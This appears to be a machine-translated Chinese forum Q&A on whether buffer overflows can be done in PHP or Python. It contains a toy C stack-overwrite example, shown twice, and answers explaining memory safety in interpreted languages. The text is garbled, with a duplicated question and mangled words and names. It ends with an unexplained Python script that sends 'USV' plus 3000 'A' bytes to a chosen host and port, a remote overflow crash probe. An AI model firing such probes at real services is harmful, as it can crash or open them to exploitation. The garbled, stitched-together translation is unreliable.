這裏是C的一個例子:如何在PHP/Python中進行緩衝區溢出?
#include <stdio.h>
#include <string.h>
void bad() {
printf("Oh shit really bad~!\r\n");
}
void foo() {
char overme[4] = "WOW";
*(int*)(overme+8) = (int)bad;
}
int main() {
foo();
}
這裏是C的一個例子:如何在PHP/Python中進行緩衝區溢出?
#include <stdio.h>
#include <string.h>
void bad() {
printf("Oh shit really bad~!\r\n");
}
void foo() {
char overme[4] = "WOW";
*(int*)(overme+8) = (int)bad;
}
int main() {
foo();
}
由於PHP是一種腳本語言,沒有指針和字符串類型是二進制安全這樣的事情不會在PHP工作。
但你爲什麼要這麼做?
(哦,有可能是在PHP中的錯誤導致緩衝區溢出,但是這沒有什麼熱點可以用任何方式依賴,通常是固定的相當FFAST ...)
做在PHP中類似的東西不會導致相同的行爲。
對PHP進行解釋並始終檢查您正在執行或未執行的操作是否有效。因此,您不能 - 例如 - 溢出緩衝區。
因爲php,python和每一種解釋型語言都必須先通過解釋器,而且你沒有完全訪問內存,這種語言不會讓你去做一些像你發佈的代碼一樣的遊戲。
事實上,Python和PHP被其他人所建議的解釋實際上並不是重點。重點是幾乎所有的API和語言語義都暴露在錯誤檢查之中,使得不可能有可利用的未定義行爲。即使你編譯的語言,它仍然是不可能的。這並不意味着你不能暴露可以做任何事情的不安全的API。實際上,使用Pythons的ctypes模塊,應該可以創建類似的行爲,但是意外事件難以做到。
很抱歉,您已經達到了Python的弱點。不幸的是,這是設計的,所以很少能做到。也許你應該留在C.
正如馬丁五世Löwissaid:
Python不支持緩衝區溢出,對不起。
PS哇。看起來好像幾個月前,我讀了那篇文章,但它已經是7年零一天了。
import sys
import socket
for carg in sys.argv:
if carg == "-S":
argnum= sys.argv.index(carg)
argnum +=1
host = sys.argv[argnum]
elif carg == "-p":
argnum = sys.argv.index(carg)
argnum +=1
port = sys.argv[argnum]
buffer = "\x41"* 3000
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("USV" + buffer)
s.close()